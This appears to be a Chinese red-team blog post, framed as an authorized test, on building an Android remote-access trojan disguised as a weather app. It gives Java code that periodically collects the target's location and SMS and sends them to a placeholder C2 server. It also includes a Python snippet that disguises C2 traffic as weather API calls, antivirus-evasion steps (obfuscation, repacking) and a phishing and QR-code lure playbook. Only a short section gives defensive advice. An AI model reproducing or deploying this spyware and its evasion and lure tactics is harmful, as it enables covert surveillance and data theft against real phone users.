0x01 一次目标监控的真实案例
有一次在进行授权的红队评估时,我们接到一个任务:模拟渗透企业员工的个人安卓手机,并尝试监控其日常活动,比如短信、通话记录、定位信息等,最终目标是验证企业的移动设备管理(MDM)系统是否有效。我这次选择了定制一个远控木马来完成任务,同时结合社会工程学进行部署。
目标的安卓设备没有任何已知漏洞,系统版本较新,且安装了企业推荐的杀毒软件。这意味着,我们无法直接利用传统漏洞,而必须采用其他策略,比如伪装应用、绕过杀毒软件以及在设备上隐藏自己的踪迹。这篇文章将完整复现我如何攻破目标安卓设备并实现监控,当然,所有内容仅限授权安全测试。
---
0x02 定制远控木马的战术思路
在这次任务中,我的目标是开发一个伪装成合法应用的安卓木马,然后通过社会工程学诱导目标安装。以下是我的战术计划:
- 信息收集:确定目标使用的安卓版本和设备型号,分析可能的攻击面。
- 木马开发:利用安卓远控框架(如AndroRAT),定制功能模块。
- 权限提升与免杀:绕过企业的杀毒软件和设备管理策略。
- 监听与控制:数据捕获后,通过C2服务器传输至我的控制端。
- 隐匿与维持:隐藏木马的运行痕迹,确保持续控制。
接下来,我会详细讲解如何一步一步实施这次任务。
---
0x03 如何搭建安卓远控的基础环境
在开发安卓远控工具之前,得先搭建好开发和测试环境。这是我的配置:
- 系统环境:Ubuntu 22.04
- 开发工具:Android Studio
- 测试设备:一台安卓虚拟机(利用Genymotion)模拟目标设备
- 编程语言:Java + Python(用于服务端C2控制)
环境搭建步骤:
- 安装Android Studio
Android Studio是安卓开发的首选工具,支持Java与Kotlin编程。 Ubuntu安装过程: <pre><code class="language-bash"> sudo apt update sudo apt install openjdk-11-jdk wget https://redirector.gvt1.com/edgedl/android/studio/install/2022.2.1.0/android-studio-2022.2.1.0-linux.tar.gz tar -xvf android-studio-2022.2.1.0-linux.tar.gz sudo mv android-studio /opt/ /opt/android-studio/bin/studio.sh ` 安装完成后可直接启动开发界面。
- 设置安卓虚拟机
我选择Genymotion,因为它比Android Studio自带的模拟器更轻量。安装步骤如下: `bash wget https://download.genymotion.com/releases/genymotion-3.3.3/genymotion-3.3.3-linux_x64.bin chmod +x genymotion-3.3.3-linux_x64.bin ./genymotion-3.3.3-linux_x64.bin ./genymotion `
- 搭建C2控制端
服务端控制通常使用Python开发,后续代码会展示如何通过Flask框架实现简易C2功能。
---

0x04 木马开发实战:伪装合法应用
这次的木马目标是窃取短信和定位信息,并伪装成一个无害的「天气预报」应用。以下是我的开发流程。
代码实现
木马的核心功能模块</code></pre>java
package com.example.weatherapp;

import android.app.Service; import android.content.Context; import android.location.Location; import android.location.LocationManager; import android.os.IBinder; import android.telephony.SmsManager;
public class WeatherService extends Service { @Override public void onCreate() { super.onCreate(); // 定时任务:每30分钟上传短信和位置信息 new Thread(() -> { while (true) { sendSmsData(); sendLocationData(); try { Thread.sleep(1800000); // 30分钟 } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); }
private void sendSmsData() { SmsManager smsManager = SmsManager.getDefault(); String smsContent = "窃取到的短信内容"; // 伪代码,实际需提取短信 smsManager.sendTextMessage("+C2_SERVER_NUMBER", null, smsContent, null, null); }

private void sendLocationData() { LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (location != null) { String loc = "纬度:" + location.getLatitude() + " 经度:" + location.getLongitude(); // 将定位信息发送到C2服务器 sendToServer(loc); } }
private void sendToServer(String data) { // 简单HTTP请求示例,实际可用更轻量化的库 new Thread(() -> { try { URL url = new URL("http://C2_SERVER_IP/upload"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setDoOutput(true); conn.setRequestMethod("POST"); OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); os.flush(); os.close(); } catch (Exception e) { e.printStackTrace(); } }).start(); }
@Override public IBinder onBind(Intent intent) { return null; } } <pre><code>
工程打包与伪装
开发完成后,我需要将木马伪装成一个正常应用。以下是具体步骤:
- 修改应用图标和名称,使其看起来像一个天气预报工具。
- 在应用商店上架一个对应的假应用页面,并设置诱导性描述。
- 使用apktool加壳混淆,进一步避免杀毒软件检测。
---
0x05 绕过杀毒与对抗企业防护
在渗透过程中,杀毒软件是一个常见的障碍。我通过以下几种方式实现免杀:
- 代码混淆:使用ProGuard工具对代码进行混淆,使其难以被静态分析。
- 加壳技术:在打包APK时,通过apktool二次打包,并加入动态解密逻辑。
- 流量伪装:C2通信采用HTTPS协议,并伪装成合法的API流量。
举个简单例子,如何伪装流量:</code></pre>python import requests
data = { "temp": "窃取到的定位信息" }
设置伪装的User-Agent头,模拟天气应用的API请求
headers = { "User-Agent": "WeatherApp/1.0" }
response = requests.post("https://C2_SERVER_IP/api/weather", json=data, headers=headers) print(response.status_code) `
---

0x06 个人经验:如何写好社会工程学剧本
木马开发完成后,如何让目标安装是关键。我设计了以下社会工程学剧本:
- 邮件钓鱼:伪装成企业内部通知邮件,包含APK下载链接。
- 水坑攻击:在目标经常访问的内部论坛上植入假下载链接。
- 二维码诱导:生成一个二维码,诱导目标扫码安装。
在实际操作中,邮件钓鱼的成功率最高,但一定要精心设计邮件内容,比如包含公司Logo、签名等。
---
0x07 检测与防御:如何避免被监控
作为安全研究人员,我认为以下防御措施可以有效避免安卓监控:
- 拒绝安装来源不明的APK:启用安卓系统中的「仅允许安装谷歌商店应用」选项。
- 检测异常权限请求:使用权限管理工具监控哪些应用请求敏感权限。
- 流量分析:启用企业的流量审计功能,监控异常HTTPS请求。
这次渗透中,目标设备的杀毒软件并未检测到我的木马,但如果企业能加强流量分析,完全可以发现异常的定时HTTP请求。
---
0x08 总结:实战与思考
通过这次授权渗透,我深刻体会到安卓远控技术的强大,同时也验证了社会工程学的不可或缺。无论是木马开发还是免杀技术,都需要结合目标环境进行定制化设计。而对于企业来说,真正的防护重点并不在于杀毒软件,而是对设备管理和流量监控的整体提升。
希望这篇文章能为安全研究人员提供灵感,同时提醒大家,保护自己的设备安全,远离不明来源的应用!